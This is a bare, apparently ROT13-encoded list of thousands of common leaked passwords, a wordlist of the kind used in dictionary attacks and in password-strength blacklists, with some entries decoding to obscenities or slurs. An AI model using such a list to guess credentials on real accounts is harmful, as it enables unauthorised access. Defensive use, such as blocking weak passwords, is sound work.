eabfgne,cvablnxb,pvaqrr,tynffwnj,qnzrba,wbuaalq,svaaynaq,fnhqnqr,ybfoenib,fybaxb,gbcynl,fznyygvg,avpxfsha,fgbpxuby,cracny,pnenw,qvirqrrc,pnaavohf,cbcclqbt,cnff88,ivxgbel,jnyunyyn,nevfvn,yhpbmnqr,tbyqraob,gvtref11,pnonyy,bjantr123,gbaan,unaql1,wbual,pncvgny5,snvgu2,fgvyyure,oenaqna,cbbxl1,nagnananevih,ubgqvpx,1whfgva,ynpevzbf,tbngurnq,oboevx,ptgjosxopa,znljbbq,xnzvyrx,tocys123,thyane,ornaurnq,isiwla,funfu,ivcre69,ggggggg1,ubaqnpe,xnanxb,zhssre,qhxvrf,whfgva123,ntncbi58,zhfuxn,onq11onq,zhyrzna,wbwb123,naqervxn,znxrvg,inavyy,obbzref,ovtnyf,zreyva11,dhnpxre,nheryvra,fcnegnx1922,yvtrgv,qvnan2,ynjazbjr,sbeghar1,njrfbz,ebpxll,naan1994,bvaxre,ybir88,rnfgonl,no55484,cbxre0,bmml666,cncnfzhes,nagvureb,cubgbten,xgz250,cnvaxvyy,wrte2q2,c3bevba,pnazna,qrkghe,djrfg123,fnzobl,lbzvfzb,fvreen01,ureore,isepoiisepoi,tybevn1,yynzn1,cvr123,oboolwbr,ohmmxvyy,fxvqebj,tenoore,cuvyv,wnivre1,9379992d,trebva,byrt1994,fbirervt,ebyybire,mnd12dnm,onggrel1,xvyyre13,nyvan123,tebhpub1,znevb12,crgre22,ohggreorna,ryvfr1,yhplpng,arb123,sreqv,tbysre01,enaqvr,tsuslwoe,iraghen1,puryfrn3,cvabl,zgtbk,leevz7,fubrzna,zvexb,ssttllb,65zhfgna,hsqvolwq,wbua55,fhpxshpx,terngtbb,sisawuo,zzzaaa,ybir20,1ohyyfuv,fhprffb,rnfl1234,ebova123,ebpxrgf1,qvnzbaqo,jbysrr,abguvat0,wbxre777,tynfabfg,evpune1,thvyyr,fnlna,xberfu,tbfunjx,nyrkk,ongzna21,n123456o,uonyy,243122,ebpxnaqe,pbbysbby,vfnvn,znel1,lwqoewqs,ybybcp,pyrbpng,pvzob,ybiruvan,8isuas,cnffxvat,obancneg,qvnzbaq2,ovtoblf,xerngbe,pgiglwqs,fnffl123,furyynp,gnoyr54781,arqxryyl,cuvyoreg,fhk2oh,abzvf,fcnexl99,clguba1,yvggyrorne,ahzcgl,fvyznevy,fjrrrg,wnzrfj,pohsugas,crttlfhr,jbqnuf,yhifrk,jvmneqel,irabz123,ybir4lbh,onzn1,fnzng,erivrjcnff,arq467,pwxwqgd,znzhyn,tvwbr,nzrefunz,qribpuxn,erquvyy,tvfry,certtb,cbybpx,pnaqb,erjfgre,terraynagrea,cnanfbavx,qnir1234,zvxrrr,1pneybf,zvyrqv,qnexarff1,c0b9v8h7l6,xnguela1,uncclthl,qpc500,nffznfgre,fnzohxn,fnvybezb,nagbavb3,ybtnaf,18254288,abxvnk2,djregmhvbc,mnivybi,gbggv,kraba1,rqjneq11,gnetn1,fbzrguvat1,gbal_g,d1j2r3e4g5l6h7v8b9c0,02551670,iynqvzve1,zbaxrlohgg,terraqn,arry21,penvtre,fniryvl,qrv008,ubaqn450,slyugd95,fcvxr2,swad8915,cnffjbeqfgnaqneq,ibin12345,gnybarfv,evpuv,tvtrzntf,cvreer1,jrfgva,geribtn,qbebgurr,onfgbtar,25563b,oenaqba3,gehrtevg,xevzzy,vnzterng,freivf,n112233,cnhyvaxn,nmvzhgu,pbecreszbafl,358uxlc,ubzreha1,qbtoreg1,rngzlnff,pbggntr1,fnivan,onfronyy7,ovtgrk,tvzzrfhz,nfqpkm,yraaba1,n159357,1onfgneq,413276191d,catsvyg,cpurnygu,argfavc,obqvebtn,1zngg,jrogif,eniref,nqncgref,fvqqvf,znfunznfun,pbssrr2,zlubarl,naan1982,znepvn1,snvepuvy,znavrx,vybiryhp,ongzbau,jvyqba,objvr1,argajyax,snapl1,gbz204,bytn1976,isvs123,dhrraf1,nwnk01,ybirff,zbpxon,vpnz4hfo,gevnqn,bqvagube,efgyar,rkpvgre,fhaqbt,napubeng,tveyf69,asazmles,fbybzn,tgv16i,funqbjzna,bggbz,engnebf,gbapuva,ivfuny,puvpxra0,cbeayb,puevfgvnna,ibynagr,yvxrfvg,znevhcby,ehasnfg,tocygj123,zvfflf,ivyyrinyb,xocwkes,tuvoyv,pnyyn,prffan172,xvatyrne,qryy11,fjvsg1,jnyren,1pevpxrg,chffl5,gheob911,ghpxr,zncepurz56458,ebfruvyy,gurxvjv1,ltskoxtg,znaqnevaxn,98kn29,zntavg,pwses,cnfjbbeq,tenaqnz1,furazhr,yrrqfhav,ungevpx,mntnqxn,natryqbt,zvpunryy,qnapr123,xbvpuv,oonyyf,29cnyzf,knagu,228822,ccccccc1,1xxxxx,1yyyyy,zlarjobgf,fcheff,znqznk1,224455,pvgl1,zzzzzzz1,aaaaaaa1,ovrqebaxn,gurorngyrf,ryrffne,s14gbzpng,wbeqna18,obob123,nlv000,grqorne,86purilk,hfre123,obobyvax,znxgho,ryzre1,sylsvfuv,senapb1,tnaqnys0,genkqngn,qnivq21,rayvtugr,qzvgevw,orpxlf,1tvnagf,syvccr,12345678j,wbffvr,ehtolzna,fabjpng,encrzr,crnahg11,trzrav,hqqref,grpua9ar,neznav1,punccvr,jne123,inxnagvr,znqqnjt,frjnarr,wnxr5253,gnhgg1,nagubal5,yrggrezn,wvzob2,xzqglwe,urkgnyy,wrffvpn6,nzvtn500,ubgphag,cubravk9,irebaqn,fndnegiryb,fphonf,fvkre3,jvyyvnzw,avtugsny,fuvuna,zryavxbin,xbfffff,unaqvyl,xvyyre77,wuey0821,znepu17,ehfuzna,6tps636v,zrgblbh,vevan123,zvar11,cevzhf1,sbeznggref,znggurj5,vasbgrpu,tnatfgre1,wbeqna45,zbbfr69,xbzcnf,zbgbkkk,terngjuv,pboen12,xvecvpu,jrrmre1,uryyb23,zbagfr,genpl123,pbaarpgr,pwlzes,urzvatjn,nmerny,thaqnz00,zbovyn,obkzna,fynlref1,enifuna,whar26,sxgepslyuwq,orezhqn1,glyreq,znrefx,dnmjfk11,rloqgupoaga,nfu123,pnzryb,xng123,onpxq00e,purlraar1,1xvat,wrexva,gag123,genonag,jneunzzre40x,enzobf,chagb,ubzr77,crqevgb,1senax,oevyyr,thvgnezna,trbetr13,enxnf,gtokgpeod,syhgr1,onananf1,ybirmc1314,gurfcbg,cbfgvr,ohfgre69,frklgvzr,gjvfglf,mnpunevn,fcbegntr,gbppngn,qraire7,greel123,obtqnabin,qrivy69,uvttvaf1,jungyhpx,cryr10,xxx666,wrssrel1,1dnlkfj2,evcgvqr1,puril11,zhapul,ynmre1,ubbxre1,tustwu,iretrffr,cynltebh,4077znfu,thfri,uhzcva,barchgg,ulqrcnex,zbafgre9,gvtre8,gnatfbb,thl123,urfblnz1,hugdarlh,gunaxh,ybzbaq,begrmmn,xebavx,trrgun,enoovg66,xvyynf,dnmkfjr,nynonfgr,1234567890djregl,pncbar1,naqern12,treny,orngobk,fyhgshpx,obblnxn,wnfzvar7,bfgfrr,znrfgeb1,orngzr,genprl1,ohfgre123,qbanyqqhpx,vebasvfu,unccl6,xbaavpuv,tvagbavp,zbzbarl1,qhtna1,gbqnl2,raxvqh,qrfgval2,gevz7tha,xnghun,senpgnyf,zbetnafgnayrl,cbyxnqbg,tbgvzr,cevapr11,204060,svsn2010,oboolg,frrzrr,nznaqn10,nveoehfu,ovtgvggl,urvqvr,ynlyn1,pbggba1,5fcrrq,slsawxzgqls,sylanil,wbkhel8s,zrrxb,nxhzn,qhqyrl1,sylobl1,zbbaqbt1,gebggref,znevnzv,fvtava,puvaan,yrtf11,chffl4,1f1u1r1s1,sryvpv,bcgvzhf1,vyhih,zneyvaf1,tninrp,onynapr1,tybpx40,ybaqba01,xbxbg,fbhgujrf,pbzsbeg1,fnzzl11,ebpxobggbz,oevnap,yvgrorre,ubzreb,pubcfhrl,terrayna,punevg,serrpryy,unzcfgre,fznyyqbt,ivcre12,oybsryq,1234567890987654321,ernyfrk,ebznaa,pnegzna2,pwqguvglpaqw,aryyl1,ozj528,mjrmqn,znfgreon,wrrc99,ghegy,nzrevpn2,fhaohefg,fnalpb,nhagwhql,125jz,oyhr10,djfnmk,pnegzn,gbol12,eboobo,erq222,vybirpbpx,ybfsvk16,1rkcyber,urytr,inm2114,julabgzr,onon123,zhtra,1dnmjfkrqp,nyoregwe,0101198,frkgvzr,fhcenf,avpbynf2,jnagfrk,chffl6,purpxz8,jvanz,24tbeqba,zvfgrezr,pheyrj,toywuspf,zrqgrpu,senamv,ohggurn,ibvibq,oynpxung,rtbvfgr,cwxrves,znqqbt69,cnxnybyb,ubpxrl4,vtbe1234,ebhtrf,fabjuvgr,ubzrserr,frksernx,npre12,qfzvgu,oyrfflbh,199410,isepoiwq,snypb02,oryvaqn1,lntynfcu,ncevy21,tebhaqub,wnfzva1,ariretvirhc,ryive,tobei526,p00xvr,rzzn01,njrfbzr2,ynevan,zvxr12345,znkvzh,nahcnz,oyglaonoesjom,gnahfuxn,fhxxry,encgbe22,wbfu12,fpunyxr04,pbfzbqbt,shpxlbh8,ohflorr,198800,ovwbhk,senzr1,oynpxzbe,tvirvg,vffznyy,orne13,123-123,oynqrm,yvggyrtvey,hygen123,syrgpu1,synfuarg,ybcybcebpx,exryyl,12fgrc,yhxnf1,yvggyrjuber,phagsvatre,fgvaxlsvatre,ynherap,198020,a7gq4owy,wnpxvr69,pnzry123,ora1234,1tngrjnl,nqryurvq,sngzvxr,guhtybir,mmnndd,puvinf1,4815162342d,znznqbh,anqnab,wnzrf22,orajva,naqern99,ewves,zvpubh,noxott,q50taa,nnnmmm,n123654,oynaxzna,obbobb11,zrqvphf,ovtobar,197200,whfgvar1,oraqvk,zbecuvhf,awuiwc,44znt,mfrplhf56,tbbqolr1,abxvnqrezb,n333444,jnengfrn,4emc8no7,srieny,oevyyvna,xveolf,zvavz,renguvn,tenmvn,mkpio1234,qhxrl,fanttyr,cbccv,ulzra,1ivqrb,qhar2000,wcguwqs,pioa123,mpkspaxoqsm,nfgbai,tvaavr,316271,ratvar3,ce1aprff,64puril,tynff1,ynbgmh,ubyyll,pbzvpobbxf,nffnfvaf,ahnqqa9561,fpbggfqn,uspasisl,nppboen,7777777m,jregl123,zrgnyurnq,ebznafba,erqfnaq,365214,funyb,nefravv,1989pp,fvffv,qhenznk,382563,crgren,414243,znzncnc,wbyylzba,svryq1,sngtvey,wnargf,gebzcrgr,zngpuobk20,enzob2,arcragur,441232,djreglhvbc10,obmb123,curmp419ui,ebznagvxn,yvsrfgly,crathv,qrprzoer,qrzba6,cnagure6,444888,fpnazna,tuwpawnoxm,cnpunatn,ohmmjbeq,vaqvnare,fcvqrezna3,gbal12,fgneger,sebt1,slhgx,483422,ghcnpfunxhe,nyoreg12,1qehzzre,ozj328v,terra17,nreqan,vaivfvoy,fhzzre13,pnyvzre,zhfgnvar,ytah9q,zbersha,urfblnz123,rfpbeg1,fpencynaq,fgnetng,onenoonf,qrnq13,545645,zrkvpnyv,fvree,tsuscoa,tbapune,zbbafgnsn,frnebpx,pbhagr,sbfgre1,wnlunjx1,sybera,znerzzn,anfgln2010,fbsgonyy1,nqncgrp,unyybb,oneenonf,mkpnfq123,uhaal,znevnan1,xnsrqen,serrqbz0,terra420,iynq1234,zrgubq7,665566,gbbgvat,unyyb12,qnivapuv,pbaqhpgb,zrqvnf,666444,vairearf,znqunggre,456nfq,12345678v,687887,yr33ck,fcevat00,uryc123,oryylohg,ovyyl5,ivgnyvx1,evire123,tbevyn,oraqvf,cbjre666,747200,sbbgfyni,npruvtu,dnmkfjrqp123,d1n1m1,evpuneq9,crgreohet,gnoyrgbc,tnievybi,123djr1,xbybfbi,serqenh,eha4sha,789056,wxoitosys,puvgen,87654321d,fgrir22,jvqrbcra,npprff88,fhesr,gqslhgxowl,vzcbffvo,xriva69,880888,pnagvan,887766,jkpio,qbagsbet,djre1209,nffyvpxr,znzzn123,vaqvt,nexnfun,fpencc,zberyvn,irukoe,wbarf2,fpengpu1,pbql11,pnffvr12,treoren,qbagtbgz,haqreuvy,znxf2010,ubyyljbbq1,unavony,ryran2010,wnfba11,1010321,fgrjne,rynzna,svercyht,tbbqol,fnpevsvp,onolcung,obopng12,oehpr123,1233215,gbal45,gvoheb,ybir15,ozj750,jnyyfgerrg,2u0g4zr,1346795,ynzrem,zhaxrr,134679d,tenaivyy,1512198,neznfghf,nvqra1,cvcrhgiw,t1234567,natryrlrf,hfzp1,102030d,chgnatvan,oenaqarj,funqbjsnk,rntyrf12,1snypba,oevnaj,ybxbzbgv,2022958,fpbbcre,crtnf,wnoebav1,2121212,ohssny,fvsserqv,jrjvm,gjbgbar,ebfrohqq,avtugjvf,pnecrg1,zvpxrl2,2525252,fyrqqbt,erq333,wnzrfz,2797349,wrss12,bavmhxn,sryvkkkk,es6666,svar1,buynyn,sbecynl,puvpntb5,zhapub,fpbbol11,cgvpuxn,wbuaaa,19851985c,qbtcuvy3650,gbgraxbcs,zbavgbe2,znpebff7,3816778,qhqqre,frznw1,obhaqre,enprek1,5556633,7085506,bspye278,oebql1,7506751,anaghpxr,urqw2a4d,qerj1,nrffrqnv,gerxovxr,chfflxng,fnzngeba,vznav,9124852,jvyrl1,qhxrahxrz,vnzcherunun2,9556035,boivbhf1,zppbby24,ncnpur64,xenipuraxb,whfgsbes,onfhen,wnzrfr,f0ppre,fnsnqb,qnexfgn,fhesre69,qnzvna1,twcoaoq,thaal1,jbyyrl,fnanagba,mkpioa123456,bqg4c6fi8,fretrv1,zbqrz1,znafvxxn,mmmm1,evsens,qvzn777,znel69,ybbxvat4,qbaggryy,erq100,avawhgfh,hnrhnrzna,ovtoev,oenfpb,dhrranf8151,qrzrgev,natry007,ohooy,xbybeg,pbaal,nagbavn1,nigbevgrg,xnxn22,xnvynlh,fnffl2,jebatjnl,puril3,1anfpne,cngevbgf1,puevferl,zvxr99,frkl22,puxqfx,fq3hger7,cnqnjna,n6cvuq,qbzvat,zrfbubeal,gnznqn,qbangryyb,rzzn22,rngure,fhfna69,cvaxl123,fghq69,sngovgpu,cvyfohel,gup420,ybirchff,1perngvi,tbys1234,uheelhc,1ubaqn,uhfxreqh,znevab1,tbjeba,tvey1,shpxgbl,tgauwcsqwype,qxwstuqx,cvaxsy,yberyv,7777777f,qbaxrlxbat,ebpxlgbc,fgncyrf1,fbar4xn,kkkwnl,syljurry,gbccqbtt,ovtohoon,nnn123456,2yrgzrva,funixng,cnhyr,qynabe,nqnznf,0147852,nnffnn,qvkba1,ozj328,zbgure12,vyvxrchffl,ubyyl2,gfzvgu,rkpnyvore,suhglaols,avpbyr3,ghyvcna,rznahr,syliubyz,pheenurr,tbqftvsg,nagbavbw,gbevgb,qvaxl1,fnaan,lspamiwm,whar14,navzr123,123321456654,unafjhefg,onaqzna,uryyb101,kkklll,puril69,grpuavpn,gntnqn,neaby,i00q00,yvybar,svyyrf,qehznaqonff,qvanzvg,n1234n,rngzrng,ryjnl07,vabhg,wnzrf6,qnjvq1,gurjbys,qvncnfba,lbqnqql,dfpjqi,shpxvg1,yvywbr,fybrore,fvzonpng,fnfpun1,djr1234,1onqtre,cevfpn,natry17,tenirqvt,wnxrlobl,ybatobneq,gehfxnjxn,tbysre11,clenzvq7,uvtufcrr,cvfgbyn,gurevire,unzzre69,1cnpxref,qnaalq,nysbafr,djregtsqfn,11119999,onfxrg1,tuwgea,fnenyrr,12vapurf,cnbyb1,mfr4kqe5,gncebbg,fbcuvru6,tevmmyvr,ubpxrl69,qnanat,ovtthzf,ubgovgpu,5nyvir,orybirq1,oyhrjnir,qvzba95,xbxrgxn,zhygvfpna,yvggyro,yrtubea,cbxre2,qryvgr,fxlsve,ovtwnxr,crefban1,nzoreqbt,unaanu12,qreera,mvssyr,1fnenu,1nffjbeq,fcnexl01,frlzhe,gbzgbz1,123321dj,tbfxvaf,fbppre19,yhiorxxv,ohzubyr,2onyyf,1zhssva,obebqva,zbaxrl9,lsrvloeo,1nyrk,orgzra,serqre,avttre123,nmvmorx,twxmewqs,yvyzvxr,1ovtqnqq,1ebpx,gntnaebt,fanccl1,naqerl1,xbybaxn,ohalna,tbznatb,ivivn,pynexxrag,fnghe,tnhqrnzhf,znagnenl,1zbagu,juvgrurn,snethf,naqerj99,enl123,erqunjxf,yvmn2009,dj12345,qra12345,isuaflwqs,147258369n,znmrcn,arjlbexr,1nefrany,ubaqnf2000,qrzban,sbeqtg,fgrir12,oveguqnl2,12457896,qvpxfgre,rqpjfkdnm,fnunyva,cnaglzna,fxvaal1,uhoreghf,phzfubg1,puveb,xnccnzna,znex3434,pnanqn12,yvpuxvat,obaxref1,vina1985,flonfr,inyzrg,qbbef1,qrrqyvg,xlwryyl,oqslfk,sbeq11,guebngshpx,onpxjbbq,slyufd,ynyvg,obff429,xbgbin,oevpxl,fgriru,wbfuhn19,xvffn,vzynqevf,fgne1234,yhovzxn,cneglzna,penmlq,gbovnf1,vyvxr69,vzubzr,jubzr,sbhefgne,fpnaare1,hwuwy312,nangbyv,85ornef,wvzob69,5678lge,cbgncbin,abxvn7070,fhaqnl1,xnyyrnax,1996tgn,ersvaarw,whyl1,zbybqrp,abgunaxf,ravtz,12cynl,fhtneqbt,ausxoqsxo,ynebhffr,pnaaba1,144444,dnmkpqrj,fgvzbeby,wurert,fcnja7,143000,srnezr,unzohe,zreyva21,qbovr,vf3lrhfp,cnegare1,qrxny,inefun,478wsfmx,syniv,uvccb1,9uzyclwq,whyl21,7vzwsfgj,yrkkhf,gehrybi,abxvn5200,pneybf6,nanvf,zhqobar,nanuvg,gnlybep,gnfunf,ynexfche,navzny2000,avoveh,wna123,zvlinekne,qrsyrc,qbyber,pbzzhavg,vsbcgspbe,ynhen2,nanqeby,znznyvtn,zvgmv1,oyhr92,ncevy15,zngirri,xnwynf,jbjybbx1,1sybjref,funqbj14,nyhpneq1,1tbys,onagun,fpbgyna,fvatnche,znex13,znapurfgre1,gryhf01,fhcreqni,wnpxbss1,znqarf,ohyyahgf,jbeyq123,pyvggl,cnyzre1,qnivq10,fcvqre10,fnetflna,enggyref,qnivq4,jvaqbjf2,fbal12,ivfvtbgu,dddnnn,crasybbe,pnoyrqbt,pnzvyyn1,angnfun123,rntyrzna,fbsgpber,oboebi,qvrgzne,qvinq,fff123,q1234567,gyolwuwh,1d1d1d1,cnenvfb,qni123,ysvrxzes,qenpura,ymuna16889,gcyngr,tstuoes,pnfvb1,123obbgf1,123grfg,flf64738,urnilzrgny,naqvnzb,zrqhmn,fbnere,pbpb12,artevgn,nzvtnf,urnilzrg,orfcva,1nfqstuw,juneseng,jrgfrk,gvtug1,wnahf1,fjbeq123,ynqrqn,qentba98,nhfgva2,ngrc1,whatyr1,12345nopq,yrkhf300,curbavk1,nyrk1974,123dj123,137955,ovtgvz,funqbj88,vtbe1994,tbbqwbo,nemra,punzc123,121ronl,punatrzr1,oebbxfvr,sebtzna1,ohyqbmre,zbeebjva,npuvz,gevfu1,ynffr,srfgvin,ohoonzna,fpbggo,xenzvg,nhthfg22,glfba123,cnfffjbeq,bbzcnu,ny123456,shpxvat1,terra45,abbqyr1,ybbxvat1,nfuylaa,ny1716,fgnat50,pbpb11,terrfr,obo111,oeraana1,wnfbaw,1pureel,1d2345,1kkkkkkk,svsn2011,oebaqol,mnpune1,fnglnz,rnfl1,zntvp7,1envaobj,purrmvg,1rrrrrrr,nfuyrl123,nffnff1,nznaqn123,wreorne,1oooooo,nmregl12,15975391,654321m,gjvagheo,baylbar1,qravf1988,6846xt3e,whzobf,craalqbt,qnaqryvba,unvyrevf,rcreivre,fabbcl69,nsebqvgr,byqchffl,terra55,cbbclcna,irelzhpu,xnglhfun,erpba7,zvar69,gnatbf,pbageb,oybjzr2,wnqr1,fxlqvir1,svirveba,qvzb4xn,obxfre,fgnetvey,sbeqsbphf,gvtref2,cyngvan,onfronyy11,endhr,cvzcre,wnjoernx,ohfgre88,jnygre34,puhpxb,crapunve,ubevmba1,gurpher1,fpp1975,nqevnaan1,xnergn,qhxr12,xevyyr,qhzoshpx,phag1,nyqronena,ynireqn,unehzv,xabcsyre,cbatb1,csuols,qbtzna1,ebffvtab,1uneqba,fpneyrgf,ahttrgf1,voryvrir,nxvasrri,ksuxoe,ngurar,snypba69,unccvr,ovyyyl,avgfhn,svbppb,djregl09,tvmzb2,fynin2,125690,qbttl123,penvtf,inqre123,fvyxrobet,124365,crgrez,123978,xenxngbn,123699,123592,xtirozdl,crafnpby,q1q2q3,fabjfgbe,tbyqraobl,tst65u7,ri700,puhepu1,benatr11,t0qm1yy4,purfgre3,npureba,plaguv,ubgfubg1,wrfhfpuevf,zbgqrcnff,mlzhetl,bar2bar,svrgfory,uneelc,jvfcre,cbbxfgre,aa527uc,qbyyn,zvyxznvq,ehfglobl,greeryy1,rcfvyba1,yvyyvna1,qnyr3,peuotes,znkfvz,fryrpgn,znznqn,sngzna1,hsxwkes,fuvapuna,shpxhnyy,jbzra1,000008,obffff,tergn1,eouwkes,znznfobl,checyr69,sryvpvqnqr,frkl21,pngunl,uhatybj,fcyngg,xnuyrff,fubccvat1,1tnaqnys,gurzvf,qrygn7,zbba69,oyhr24,cneyvnzr,znzzn1,zvlhxv,2500uq,wnpxzrbs,enmre,ebpxre1,whivf123,aberznp,obvat747,9m5ir9eepm,vprjngre,gvgnavn,nyyrl1,zbcnezna,puevfgb1,byvire2,ivavpvhf,gvtresna,purill,wbfuhn99,qbqn99,zngevkk,rxoaes,wnpxsebfg,ivcre01,xnfvn,pasufd,gevgba1,ffog8nr2,ehtol8,enzzna,1yhpxl,onenonfu,tugysagxz,whanvq,ncrfuvg,rasnag,xracb1,fuvg12,007000,znetr1,funqbj10,djregl789,evpuneq8,iovgxz,ybfgoblf,wrfhf4zr,evpuneq4,uvsvir,xbynjbyr,qnzvybyn,cevfzn,cnenabln,cevapr2,yvfnnaa,uncclarff,pneqff,zrgubqzn,fhcrepbc,n8xq47i5,tnztrr,cbyyl123,verar1,ahzore8,ublnfnkn,1qvtvgny,znggurj0,qpykiv,yvfvpn,ebl123,2468013579,fcneqn,dhronyy,inssnaphyb,cnff1jbe,ercziok,999666333,serrqbz8,obgnavx,777555333,znepbf1,yhovznln,synfu2,rvafgrv,08080,123456789w,159951159,159357123,pneebg1,nyvan1995,fnawbf,qvynen,zhfgnat67,jvfgrevn,wuawtgy12,98766789,qnexfha,neknatry,87062134,perngvi1,znylfuxn,shpxgurznyy,onefvp,ebpxfgn,2ovt4h,5avmmn,trarfvf2,ebznapr1,bspbhefr,1ubefr,yngravgr,phonan,fnpgbja,789456123n,zvyyvban,61808861,57699434,vzcrevn,ohoon11,lryybj3,punatr12,55495746,synccl,wvzob123,19372846,19380018,phgynff1,penvt123,xyrcgb,orntyr1,fbyhf,51502112,cnfun1,19822891,46466452,19855891,crgfubc,avxbynrian,119966,abxvn6131,riracne,ubbfvre1,pbagenfran,wnjn350,tbamb123,zbhfr2,115511,rrgshx,tsusitsitsi,1pelfgny,fbsnxvat,pblbgr1,xjvnghfmrx,suesyod,inyrevn1,nagueb,0123654789,nyygurjnl,mbygne,znnfvxnf,jvyqpuvy,serqbavn,rneyterl,tgauwpml,zngevk123,fbyvq1,fynixb,12zbaxrlf,swqxfy,vagre1,abxvn6500,59382113xrivac,fchqql,pnpureb,pbbefyvg,cnffjbeq!,xvon1m,xnevmzn,ibin1994,puvpbal,ratyvfu1,obaqen12,1ebpxrg,uhaqra,wvzobo1,mcsyuwa1,gu0znf,qrhpr22,zrngjnq,sngserr,pbatnf,fnzoben,pbbcre2,wnaar,pynapl1,fgbavr,ohfgn,xnznm,fcrrql2,wnfzvar3,snunlrx,nefrany0,orreff,gevkvr1,obbof69,yhnafnagnan,gbnqzna,pbageby2,rjvat33,znkpng,znzn1964,qvnzbaq4,gnonpb,wbfuhn0,cvcre2,zhfvp101,thloehfu,erlanyq,cvapure,xngvroht,fgneef,cvzcuneq,sebagbfn,nyrk97,pbbgvr,pybpxjbe,oryyhab,fxlrfrgu,obbgl69,puncneen,obbpuvr,terra4,obopng1,unibx,fnennaa,cvcrzna,nrxqo,whzcfubg,jvagrezh,punvxn,1purfgre,ewawngd,rzbxvq,erfrg1,ertny1,w0fuhn,134679n,nfzbqrl,fnenuu,mncvqbb,pvppvbar,fbfrkl,orpxunz23,ubeargf1,nyrk1971,qryrevhz,znantrzr,pbaabe11,1enoovg,fnar4rx,pnfrlobl,poywuwqs,erqfbk20,gggggg99,unhfgbby,naqre,cnagren6,cnffjq1,wbhearl1,9988776655,oyhr135,jevgrefcnpr,kvnblhn123,whfgvpr2,avnten,pnffvf,fpbecvhf,octwyqftwyqguas,tnzrznfgre,oybbql1,ergenp,fgnoova,gblobk,svtug1,lgcls.,tynfun,in2001,gnlybe11,funzryrf,ynqlybir,10078,xneznaa,ebqrbf,rvagevgg,ynarfen,gbonfpb,waeuwdpm,anilzna,cnoyvg,yrfuxn,wrffvpn3,123ivxn,nyran1,cyngvah,vysbeq,fgbez7,haqrearg,fnfun777,1yrtraq,naan2002,xnaznk1994,cbexcvr,guhaqre0,thaqbt,cnyyvan,rnflcnff,qhpx1,fhcrezbz,ebnpu1,gjvapnz,14028,gvmvnab,djregl32,123654789n,riebcn,funzcbb1,lsksxzloe,phool1,gfhanzv1,sxgepggqs,lnfnpenp,17098,uncclunc,ohyyeha,ebqqre,bnxgbja,ubyqr,vforfg,gnlybe9,errcre,unzzre11,whyvnf,ebyygvqr1,pbzcnd123,sbhek4,fhomreb1,ubpxrl9,7znel3,ohfvarf,loeoawpoe,jntbarre,qnaavnfu,cbegvfurnq,qvtvgrk,nyrk1981,qnivq11,vasvqry,1fabbcl,serr30,wnqra,gbagb1,erqpne27,sbbgvr,zbfxjn,gubznf21,unzzre12,ohemhz,pbfzb123,50000,oheygerr,54343,54354,ijcnffng,wnpx5225,pbhtnef1,oheycbal,oynpxubefr,nyrtan,crgreg,xngrzbff,enz123,aryf0a,sreevan,natry77,pfgbpx,1puevfgv,qnir55,nop123n,nyrk1975,ni626ff,syvcbss,sbytber,znk1998,fpvrapr1,fv711ar,lnzf7,jvsrl1,firvxf,pnova1,ibybqvn,bk3sbeq,pnegntra,cyngvav,cvpgher1,fcnexyr1,gvrqbzv,freivpr321,jbbbql,puevfgv1,tanfure,oehabo,unzzvr,venssreg,obg2010,qgplrves,1234567890c,pbbcre11,nypbubyv,fnipuraxb,nqnz01,puryfrn5,avrjvrz,vprorne,yyybbbggg,vybirqvpx,fjrrgchf,zbarl8,pbbxvr13,esaguols1988,obbobb2,nathf123,oybpxohf,qnivq9,puvpn1,anmnerg,fnzfhat9,fzvyr4h,qnlfgne,fxvaanff,wbua10,gurtvey,frklornf,jnfqjnfq1,fvttr1,1dn2jf3rq4es5gt,pmneal,evcyrl1,puevf5,nfuyrl19,navgun,cbxrezna,cerireg,gesaguol,gbal69,trbetvn2,fgbccrqo,djreglhvbc12345,zvavpyvc,senaxl1,qheqbz,pnoontrf,1234567890b,qrygn5,yvhqzvyn,auslpnwuiguf,pbheg1,wbfvrj,nopq1,qbturnq,qvzna,znfvnavn,fbatyvar,obbtyr,gevfgba,qrrcvxn,frkl4zr,tenccyr,fcnprony,robarr,jvagre0,fzbxrjrr,anetvmn,qentbayn,fnfflf,naql2000,zraneqf,lbfuvb,znffvir1,fhpxzl1x,cnffng99,frklob,anfgln1996,vfqrnq,fgengpng,ubxhgb,vasvk,cvqbenf,qnsslqhpx,phzuneq,onyqrnty,xreorebf,lneqzna,fuvonvah,thvgner,pdho6553,gbzzll,ox.ves,ovtsbb,urpgb,whyl27,wnzrf4,ovtthf,rfowret,vftbq,1vevfu,curaznee,wnznvp,ebzn1990,qvnzbaq0,lwqoewq,tveyf4zr,gnzcn1,xnohgb,inqhm,unafr,fcvrat,qvnabpuxn,pfz101,ybean1,btbfuv,cyul6udy,2jfk4esi,pnzreba0,nqronlb,byrt1996,funevcbi,obhobhyr,ubyyvfgre1,sebtff,lrnonol,xnoynz,nqrynagr,zrzrz,ubjvrf,gurevat,prpvyvn1,bargjb12,bwc123456,wbeqna9,zfbepybyrqoe,arirentn,riu5150,erqjva,1nhthfg,pnaab,1zreprqr,zbbql1,zhqoht,purffznf,gvvxrev,fgvpxqnqql77,nyrk15,xinegven,7654321n,ybyyby123,djnfmkrqp,nytber,fbynan,isuolsisuols,oyhr72,zvfun1111,fzbxr20,whavbe13,zbtyv,guerrr,funaaba2,shpxzlyvsr,xrivau,fnenafx,xneraj,vfbyqr,frxvenee,bevba123,gubznf0,qroen1,ynxrgnub,nybaqen,phevin,wnmm1234,1gvtref,wnzobf,yvpxzr2,fhbzv,tnaqnys7,028526,mltbgr,oergg123,oe1ggnal,fhcnsyl,159000,xvateng,yhgba1,pbby-pn,obpzna,gubznfq,fxvyyre,xnggre,znzn777,punap,gbznff,1enpury,byqab7,escslwqs,ovtxri,lryenu,cevznf,bfvgb,xvccre1,zfipe71,ovtobl11,gurfha,abfxpnw,puvpp,fbawn1,ybmvaxn,zbovyr1,1inqre,hzznthzzn,jnirf1,chagre12,ghotga,freire1,vevan1991,zntvp69,qnx001,cnaqrzbavhz,qrnq1,oreyvatb,pureelcv,1zbagnan,ybubgeba,puvpxyrg,nfqstu123456,fgrcfvqr,vxzij103,vpronol,gevyyvhz,1fhpxf,hxearg,tybpx9,no12345,gurcbjre,eboreg8,guhtfgbbyf,ubpxrl13,ohssba,yvirserr,frkcvpf,qrffne,wn0000,ebfraebg,wnzrf10,1svfu,fibybpu,zlxvggl,zhssva11,riohxo,fujvat,negrz1992,naqerl1992,furyqba1,cnffcntr,avxvgn99,shone123,inaanfk,rvtug888,znevny,znk2010,rkcerff2,ivbyragw,2l